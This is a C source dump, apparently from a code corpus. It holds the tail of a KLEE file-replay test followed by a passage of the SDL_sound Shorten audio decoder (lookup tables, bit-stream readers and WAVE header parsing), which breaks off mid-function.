// RUN: FileCheck --input-file=A --check-prefix=CREATE_FILES_ONLY %s
// CREATE_FILES_ONLY: abc
// RUN: %cc %s -O0 -o %t2
// RUN: %klee-replay %t2 %t.klee-out/test000001.ktest | FileCheck --check-prefix=REPLAY %s
// REPLAY: Yes
#ifdef KLEE_EXECUTION
#define EXIT klee_silent_exit
#else
#define EXIT exit
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <assert.h>
#include <stdio.h>
int main(int argc, char** argv) {
int fd, n;
char buf[1024];
fd = open("A", O_RDONLY);
assert(fd != -1);
n = read(fd, buf, 3);
assert(n == 3);
/* Generate a single test, with the first three chars
in the file 'abc' */
if (buf[0] == 'a' && buf[1] == 'b' && buf[2] == 'c')
printf("Yes\n");
else
EXIT(0);
return 0;
}
|
the_stack_data/168892851.c | /*
* SDL_sound -- An abstract sound format decoding API.
* Copyright (C) 2001 Ryan C. Gordon.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*
* Shorten decoder for SDL_sound.
*
* This driver handles Shorten-compressed waveforms. Despite the fact that
* SHNs tend to be much bigger than MP3s, they are still the de facto
* standard in online music trading communities. If an MP3 crunches the
* waveform to 10-20 percent of its original size, SHNs only go to about
* 50-60%. Why do the Phish fans of the world use this format then? Rabid
* music traders appreciate the sound quality; SHNs, unlike MP3s, do not
* throw away any part of the waveform. Yes, there are people that notice
* this, and further more, they demand it...and if they can't get a good
* transfer of those larger files over the 'net, they haven't underestimated
* the bandwidth of CDs travelling the world through the postal system.
*
* Shorten homepage: http://www.softsound.com/Shorten.html
*
* The Shorten format was gleaned from the shorten codebase, by Tony
* Robinson and SoftSound Limited.
*
* Please see the file COPYING in the source's root directory.
*
* This file written by Ryan C. Gordon. ([email protected])
*/
#if HAVE_CONFIG_H
# include <config.h>
#endif
#ifdef SOUND_SUPPORTS_SHN
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include "SDL_sound.h"
#define __SDL_SOUND_INTERNAL__
#include "SDL_sound_internal.h"
static int SHN_init(void);
static void SHN_quit(void);
static int SHN_open(Sound_Sample *sample, const char *ext);
static void SHN_close(Sound_Sample *sample);
static Uint32 SHN_read(Sound_Sample *sample);
static int SHN_rewind(Sound_Sample *sample);
static int SHN_seek(Sound_Sample *sample, Uint32 ms);
static const char *extensions_shn[] = { "SHN", NULL };
const Sound_DecoderFunctions __Sound_DecoderFunctions_SHN =
{
{
extensions_shn,
"Shorten-compressed audio data",
"Ryan C. Gordon <[email protected]>",
"http://www.icculus.org/SDL_sound/"
},
SHN_init, /* init() method */
SHN_quit, /* quit() method */
SHN_open, /* open() method */
SHN_close, /* close() method */
SHN_read, /* read() method */
SHN_rewind, /* rewind() method */
SHN_seek /* seek() method */
};
#define SHN_BUFSIZ 512
typedef struct
{
Sint32 version;
Sint32 datatype;
Sint32 nchan;
Sint32 blocksize;
Sint32 maxnlpc;
Sint32 nmean;
Sint32 nwrap;
Sint32 **buffer;
Sint32 **offset;
Sint32 *qlpc;
Sint32 lpcqoffset;
Sint32 bitshift;
int nbitget;
int nbyteget;
Uint8 *getbuf;
Uint8 *getbufp;
Uint32 gbuffer;
Uint8 *backBuffer;
Uint32 backBufferSize;
Uint32 backBufLeft;
Uint32 start_pos;
} shn_t;
static const Uint32 mask_table[] =
{
0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F,
0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF,
0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF,
0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF,
0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF,
0x3FFFFFFF, 0x7FFFFFFF, 0xFFFFFFFF
};
static const Uint8 ulaw_outward[13][256] = {
{127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,255,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128},
{112,114,116,118,120,122,124,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,113,115,117,119,121,123,125,255,253,251,249,247,245,243,241,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,252,250,248,246,244,242,240},
{96,98,100,102,104,106,108,110,112,113,114,116,117,118,120,121,122,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,99,101,103,105,107,109,111,115,119,123,255,251,247,243,239,237,235,233,231,229,227,225,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,253,252,250,249,248,246,245,244,242,241,240,238,236,234,232,230,228,226,224},
{80,82,84,86,88,90,92,94,96,97,98,100,101,102,104,105,106,108,109,110,112,113,114,115,116,117,118,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,81,83,85,87,89,91,93,95,99,103,107,111,119,255,247,239,235,231,227,223,221,219,217,215,213,211,209,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,253,252,251,250,249,248,246,245,244,243,242,241,240,238,237,236,234,233,232,230,229,228,226,225,224,222,220,218,216,214,212,210,208},
{64,66,68,70,72,74,76,78,80,81,82,84,85,86,88,89,90,92,93,94,96,97,98,99,100,101,102,104,105,106,107,108,109,110,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,65,67,69,71,73,75,77,79,83,87,91,95,103,111,255,239,231,223,219,215,211,207,205,203,201,199,197,195,193,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,238,237,236,235,234,233,232,230,229,228,227,226,225,224,222,221,220,218,217,216,214,213,212,210,209,208,206,204,202,200,198,196,194,192},
{49,51,53,55,57,59,61,63,64,66,67,68,70,71,72,74,75,76,78,79,80,81,82,84,85,86,87,88,89,90,92,93,94,95,96,97,98,99,100,101,102,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,50,52,54,56,58,60,62,65,69,73,77,83,91,103,255,231,219,211,205,201,197,193,190,188,186,184,182,180,178,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,230,229,228,227,226,225,224,223,222,221,220,218,217,216,215,214,213,212,210,209,208,207,206,204,203,202,200,199,198,196,195,194,192,191,189,187,185,183,181,179,177},
{32,34,36,38,40,42,44,46,48,49,51,52,53,55,56,57,59,60,61,63,64,65,66,67,68,70,71,72,73,74,75,76,78,79,80,81,82,83,84,85,86,87,88,89,90,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,33,35,37,39,41,43,45,47,50,54,58,62,69,77,91,255,219,205,197,190,186,182,178,175,173,171,169,167,165,163,161,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,218,217,216,215,214,213,212,211,210,209,208,207,206,204,203,202,201,200,199,198,196,195,194,193,192,191,189,188,187,185,184,183,181,180,179,177,176,174,172,170,168,166,164,162,160},
{16,18,20,22,24,26,28,30,32,33,34,36,37,38,40,41,42,44,45,46,48,49,50,51,52,53,55,56,57,58,59,60,61,63,64,65,66,67,68,69,70,71,72,73,74,75,76,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,19,21,23,25,27,29,31,35,39,43,47,54,62,77,255,205,190,182,175,171,167,163,159,157,155,153,151,149,147,145,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,204,203,202,201,200,199,198,197,196,195,194,193,192,191,189,188,187,186,185,184,183,181,180,179,178,177,176,174,173,172,170,169,168,166,165,164,162,161,160,158,156,154,152,150,148,146,144},
{2,4,6,8,10,12,14,16,17,18,20,21,22,24,25,26,28,29,30,32,33,34,35,36,37,38,40,41,42,43,44,45,46,48,49,50,51,52,53,54,55,56,57,58,59,60,61,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,3,5,7,9,11,13,15,19,23,27,31,39,47,62,255,190,175,167,159,155,151,147,143,141,139,137,135,133,131,129,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,189,188,187,186,185,184,183,182,181,180,179,178,177,176,174,173,172,171,170,169,168,166,165,164,163,162,161,160,158,157,156,154,153,152,150,149,148,146,145,144,142,140,138,136,134,132,130,128},
{1,2,4,5,6,8,9,10,12,13,14,16,17,18,19,20,21,22,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,3,7,11,15,23,31,47,255,175,159,151,143,139,135,131,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,158,157,156,155,154,153,152,150,149,148,147,146,145,144,142,141,140,138,137,136,134,133,132,130,129,128},
{1,2,3,4,5,6,8,9,10,11,12,13,14,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,7,15,31,255,159,143,135,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,142,141,140,139,138,137,136,134,133,132,131,130,129,128},
{1,2,3,4,5,6,7,8,9,10,11,12,13,14,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,15,255,143,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128},
{1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,255,254,253,252,251,250,249,248,247,246,245,244,243,242,241,240,239,238,237,236,235,234,233,232,231,230,229,228,227,226,225,224,223,222,221,220,219,218,217,216,215,214,213,212,211,210,209,208,207,206,205,204,203,202,201,200,199,198,197,196,195,194,193,192,191,190,189,188,187,186,185,184,183,182,181,180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165,164,163,162,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143,142,141,140,139,138,137,136,135,134,133,132,131,130,129,128}
};
#ifndef MIN_MACRO
#define MIN_MACRO(a,b) (((a)<(b))?(a):(b))
#endif
#ifndef MAX_MACRO
#define MAX_MACRO(a,b) (((a)>(b))?(a):(b))
#endif
#define POSITIVE_ULAW_ZERO 0xff
#define NEGATIVE_ULAW_ZERO 0x7f
#define CAPMAXSCHAR(x) ((x > 127) ? 127 : x)
#define CAPMAXUCHAR(x) ((x > 255) ? 255 : x)
#define CAPMAXSHORT(x) ((x > 32767) ? 32767 : x)
#define CAPMAXUSHORT(x) ((x > 65535) ? 65535 : x)
#define UNDEFINED_UINT -1
#define DEFAULT_BLOCK_SIZE 256
#define DEFAULT_V0NMEAN 0
#define DEFAULT_V2NMEAN 4
#define DEFAULT_MAXNLPC 0
#define DEFAULT_NCHAN 1
#define DEFAULT_NSKIP 0
#define DEFAULT_NDISCARD 0
#define NBITPERLONG 32
#define DEFAULT_MINSNR 256
#define DEFAULT_QUANTERROR 0
#define MINBITRATE 2.5
#define MEAN_VERSION0 0
#define MEAN_VERSION2 4
#define SHN_FN_DIFF0 0
#define SHN_FN_DIFF1 1
#define SHN_FN_DIFF2 2
#define SHN_FN_DIFF3 3
#define SHN_FN_QUIT 4
#define SHN_FN_BLOCKSIZE 5
#define SHN_FN_BITSHIFT 6
#define SHN_FN_QLPC 7
#define SHN_FN_ZERO 8
#define SHN_FN_VERBATIM 9
#define SHN_TYPE_AU1 0
#define SHN_TYPE_S8 1
#define SHN_TYPE_U8 2
#define SHN_TYPE_S16HL 3
#define SHN_TYPE_U16HL 4
#define SHN_TYPE_S16LH 5
#define SHN_TYPE_U16LH 6
#define SHN_TYPE_ULAW 7
#define SHN_TYPE_AU2 8
#define SHN_TYPE_AU3 9
#define SHN_TYPE_ALAW 10
#define SHN_TYPE_RIFF_WAVE 11
#define SHN_TYPE_EOF 12
#define SHN_TYPE_GENERIC_ULAW 128
#define SHN_TYPE_GENERIC_ALAW 129
#define SHN_FNSIZE 2
#define SHN_CHANNELSIZE 0
#define SHN_TYPESIZE 4
#define SHN_ULONGSIZE 2
#define SHN_NSKIPSIZE 1
#define SHN_LPCQSIZE 2
#define SHN_LPCQUANT 5
#define SHN_XBYTESIZE 7
#define SHN_VERBATIM_CKSIZE_SIZE 5
#define SHN_VERBATIM_BYTE_SIZE 8
#define SHN_ENERGYSIZE 3
#define SHN_BITSHIFTSIZE 2
#define SHN_LPCQOFFSET_VER2 (1 << SHN_LPCQUANT)
#define SHN_MAGIC 0x676B6A61 /* looks like "ajkg" as chars. */
#ifndef M_LN2
#define M_LN2 0.69314718055994530942
#endif
#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif
static int word_get(shn_t *shn, SDL_RWops *rw, Uint32 *word)
{
if (shn->nbyteget < 4)
{
shn->nbyteget += SDL_RWread(rw, shn->getbuf, 1, SHN_BUFSIZ);
BAIL_IF_MACRO(shn->nbyteget < 4, NULL, 0);
shn->getbufp = shn->getbuf;
} /* if */
if (word != NULL)
{
*word = (((Sint32) shn->getbufp[0]) << 24) |
(((Sint32) shn->getbufp[1]) << 16) |
(((Sint32) shn->getbufp[2]) << 8) |
(((Sint32) shn->getbufp[3]) );
} /* if */
shn->getbufp += 4;
shn->nbyteget -= 4;
return(1);
} /* word_get */
static int uvar_get(int nbin, shn_t *shn, SDL_RWops *rw, Sint32 *word)
{
Sint32 result;
if (shn->nbitget == 0)
{
BAIL_IF_MACRO(!word_get(shn, rw, &shn->gbuffer), NULL, 0);
shn->nbitget = 32;
} /* if */
for (result = 0; !(shn->gbuffer & (1L << --shn->nbitget)); result++)
{
if (shn->nbitget == 0)
{
BAIL_IF_MACRO(!word_get(shn, rw, &shn->gbuffer), NULL, 0);
shn->nbitget = 32;
} /* if */
} /* for */
while (nbin != 0)
{
if (shn->nbitget >= nbin)
{
result = ( (result << nbin) |
((shn->gbuffer >> (shn->nbitget - nbin)) &
mask_table[nbin]) );
shn->nbitget -= nbin;
break;
} /* if */
else
{
result = (result << shn->nbitget) |
(shn->gbuffer & mask_table[shn->nbitget]);
BAIL_IF_MACRO(!word_get(shn, rw, &shn->gbuffer), NULL, 0);
nbin -= shn->nbitget;
shn->nbitget = 32;
} /* else */
} /* while */
if (word != NULL)
*word = result;
return(1);
} /* uvar_get */
static int var_get(int nbin, shn_t *shn, SDL_RWops *rw, Sint32 *word)
{
BAIL_IF_MACRO(!uvar_get(nbin + 1, shn, rw, word), NULL, 0);
if ((*word) & 1)
*word = (Sint32) ~((*word) >> 1);
else
*word = (Sint32) ((*word) >> 1);
return(1);
} /* var_get */
static int ulong_get(shn_t *shn, SDL_RWops *rw, Sint32 *word)
{
Sint32 nbit;
Sint32 retval;
BAIL_IF_MACRO(!uvar_get(SHN_ULONGSIZE, shn, rw, &nbit), NULL, 0);
BAIL_IF_MACRO(!uvar_get(nbit, shn, rw, &retval), NULL, 0);
if (word != NULL)
*word = retval;
return(1);
} /* ulong_get */
static __inline__ int uint_get(int nbit, shn_t *shn, SDL_RWops *rw, Sint32 *w)
{
return((shn->version == 0) ?
uvar_get(nbit, shn, rw, w) :
ulong_get(shn, rw, w));
} /* uint_get */
static int SHN_init(void)
{
return(1); /* initialization always successful. */
} /* SHN_init */
static void SHN_quit(void)
{
/* it's a no-op. */
} /* SHN_quit */
/*
* Look through the whole file for a SHN magic number. This is costly, so
* it should only be done if the user SWEARS they have a Shorten stream...
*/
static __inline__ int extended_shn_magic_search(Sound_Sample *sample)
{
SDL_RWops *rw = ((Sound_SampleInternal *) sample->opaque)->rw;
Uint32 word = 0;
Uint8 ch;
while (1)
{
BAIL_IF_MACRO(SDL_RWread(rw, &ch, sizeof (ch), 1) != 1, NULL, -1);
word = ((word << 8) & 0xFFFFFF00) | ch;
if (SDL_SwapBE32(word) == SHN_MAGIC)
{
BAIL_IF_MACRO(SDL_RWread(rw, &ch, sizeof (ch), 1) != 1, NULL, -1);
return((int) ch);
} /* if */
} /* while */
return((int) ch);
} /* extended_shn_magic_search */
/* look for the magic number in the RWops and see what kind of file this is. */
static __inline__ int determine_shn_version(Sound_Sample *sample,
const char *ext)
{
SDL_RWops *rw = ((Sound_SampleInternal *) sample->opaque)->rw;
Uint32 magic;
Uint8 ch;
/*
* Apparently the magic number can start at any byte offset in the file,
* and we should just discard prior data, but I'm going to restrict it
* to offset zero for now, so we don't chug down every file that might
* happen to pass through here. If the extension is explicitly "SHN", we
* check the whole stream, though.
*/
if (__Sound_strcasecmp(ext, "shn") == 0)
return(extended_shn_magic_search(sample));
BAIL_IF_MACRO(SDL_RWread(rw, &magic, sizeof (magic), 1) != 1, NULL, -1);
BAIL_IF_MACRO(SDL_SwapLE32(magic) != SHN_MAGIC, "SHN: Not a SHN file", -1);
BAIL_IF_MACRO(SDL_RWread(rw, &ch, sizeof (ch), 1) != 1, NULL, -1);
BAIL_IF_MACRO(ch > 3, "SHN: Unsupported file version", -1);
return((int) ch);
} /* determine_shn_version */
static void init_shn_offset(Sint32 **offset, int nchan, int nblock, int ftype)
{
Sint32 mean = 0;
int chan;
switch (ftype)
{
case SHN_TYPE_AU1:
case SHN_TYPE_S8:
case SHN_TYPE_S16HL:
case SHN_TYPE_S16LH:
case SHN_TYPE_ULAW:
case SHN_TYPE_AU2:
case SHN_TYPE_AU3:
case SHN_TYPE_ALAW:
mean = 0;
break;
case SHN_TYPE_U8:
mean = 0x80;
break;
case SHN_TYPE_U16HL:
case SHN_TYPE_U16LH:
mean = 0x8000;
break;
default:
__Sound_SetError("SHN: unknown file type");
return;
} /* switch */
for(chan = 0; chan < nchan; chan++)
{
int i;
for(i = 0; i < nblock; i++)
offset[chan][i] = mean;
} /* for */
} /* init_shn_offset */
static __inline__ Uint16 cvt_shnftype_to_sdlfmt(Sint16 shntype)
{
switch (shntype)
{
case SHN_TYPE_S8:
return(AUDIO_S8);
case SHN_TYPE_ALAW:
case SHN_TYPE_ULAW:
case SHN_TYPE_AU1:
case SHN_TYPE_AU2:
case SHN_TYPE_AU3:
case SHN_TYPE_U8:
return(AUDIO_U8);
case SHN_TYPE_S16HL:
return(AUDIO_S16MSB);
case SHN_TYPE_S16LH:
return(AUDIO_S16LSB);
case SHN_TYPE_U16HL:
return(AUDIO_U16MSB);
case SHN_TYPE_U16LH:
return(AUDIO_U16LSB);
} /* switch */
return(0);
} /* cvt_shnftype_to_sdlfmt */
static __inline__ int skip_bits(shn_t *shn, SDL_RWops *rw)
{
int i;
Sint32 skip;
Sint32 trash;
BAIL_IF_MACRO(!uint_get(SHN_NSKIPSIZE, shn, rw, &skip), NULL, 0);
for(i = 0; i < skip; i++)
{
BAIL_IF_MACRO(!uint_get(SHN_XBYTESIZE, shn, rw, &trash), NULL, 0);
} /* for */
return(1);
} /* skip_bits */
static Sint32 **shn_long2d(Uint32 n0, Uint32 n1)
{
Sint32 **array0;
Uint32 size = (n0 * sizeof (Sint32 *)) + (n0 * n1 * sizeof (Sint32));
array0 = (Sint32 **) malloc(size);
if (array0 != NULL)
{
int i;
Sint32 *array1 = (Sint32 *) (array0 + n0);
for(i = 0; i < n0; i++)
array0[i] = array1 + (i * n1);
} /* if */
return(array0);
} /* shn_long2d */
#define riffID 0x46464952 /* "RIFF", in ascii. */
#define waveID 0x45564157 /* "WAVE", in ascii. */
#define fmtID 0x20746D66 /* "fmt ", in ascii. */
#define dataID 0x61746164 /* "data", in ascii. */
static int verb_ReadLE32(shn_t *shn, SDL_RWops *rw, Uint32 *word)
{
int i;
Uint8 chars[4];
Sint32 byte;
for (i = 0; i < 4; i++)
{
if (!uvar_get(SHN_VERBATIM_BYTE_SIZE, shn, rw, &byte))
return(0);
chars[i] = (Uint8) byte;
} /* for */
memcpy(word, chars, sizeof (*word));
*word = SDL_SwapLE32(*word);
return(1);
} /* verb_ReadLE32 */
static int verb_ReadLE16(shn_t *shn, SDL_RWops *rw, Uint16 *word)
{
int i;
Uint8 chars[2];
Sint32 byte;
for (i = 0; i < 2; i++)
{
if (!uvar_get(SHN_VERBATIM_BYTE_SIZE, shn, rw, &byte))
return(0);
chars[i] = (Uint8) byte;
} /* for */
memcpy(word, chars, sizeof (*word));
*word = SDL_SwapLE16(*word);
return(1);
} /* verb_ReadLE16 */
static __inline__ int parse_riff_header(shn_t *shn, Sound_Sample *sample)
{
Sound_SampleInternal *internal = (Sound_SampleInternal *) sample->opaque;
SDL_RWops *rw = internal->rw;
Uint16 u16;
Uint32 u32;
Sint32 cklen;
BAIL_IF_MACRO(!uvar_get(SHN_VERBATIM_CKSIZE_SIZE, shn, rw, &cklen), NULL, 0);
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* RIFF header */
BAIL_IF_MACRO(u32 != riffID, "SHN: No RIFF header.", 0);
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* length */
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* WAVE header */
BAIL_IF_MACRO(u32 != waveID, "SHN: No WAVE header.", 0);
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* 'fmt ' header */
BAIL_IF_MACRO(u32 != fmtID, "SHN: No 'fmt ' header.", 0);
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* chunksize */
BAIL_IF_MACRO(!verb_ReadLE16(shn, rw, &u16), NULL, 0); /* format */
BAIL_IF_MACRO(!verb_ReadLE16(shn, rw, &u16), NULL, 0); /* channels */
sample->actual.channels = u16;
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* sample rate */
sample->actual.rate = u32;
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* bytespersec */
BAIL_IF_MACRO(!verb_ReadLE16(shn, rw, &u16), NULL, 0); /* blockalign */
BAIL_IF_MACRO(!verb_ReadLE16(shn, rw, &u16), NULL, 0); /* bitspersample */
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* 'data' header */
